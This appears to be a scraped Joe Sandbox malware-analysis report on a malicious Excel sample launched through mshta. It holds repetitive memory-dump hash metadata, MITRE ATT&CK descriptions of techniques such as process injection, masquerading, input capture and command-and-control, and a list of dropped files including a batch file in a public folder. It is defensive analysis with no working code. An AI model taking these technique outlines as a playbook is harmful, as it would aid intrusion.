Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF056F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0567 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF091F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0517 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF050F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF093F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0537 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF052F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E970FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.345807115.000000000E970000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e970000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: d1913ae9c3234a17be29b0781c044b22aaed88335e103efe406a4150fd573add
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E970FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.345807115.000000000E970000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e970000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: d1913ae9c3234a17be29b0781c044b22aaed88335e103efe406a4150fd573add
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E970FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.345807115.000000000E970000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e970000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: d1913ae9c3234a17be29b0781c044b22aaed88335e103efe406a4150fd573add
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E970FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.345807115.000000000E970000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e970000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: d1913ae9c3234a17be29b0781c044b22aaed88335e103efe406a4150fd573add
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 07810FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.424172185.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction ID: 0caf4ba0443b9af2fee09b6ee972cc2d5abb7d1622f6563069b2f84813f58626
Opcode Fuzzy Hash: 69360b8c409aabd65f92d77f690f512f1fa2f723d782d326ea0cb23d30be0d86
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Outlook.bat

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\E5F0NRSV\facextrade.com[1].xml

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D883D8AE-6635-40DC-B860-4A09D15352FD

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C7D1B87B.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\arrow_down[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\content_bg4[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\css[2].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\error[2]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\font-awesome[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery-migrate-1.2.1.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery.elastislide[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery.flexslider-min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\js[2].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\logo-slider-wp-public[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\logo-slider-wp-public[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\owl.carousel[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\parallax[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\style[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\styles[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\switcher[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\warning[1]

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls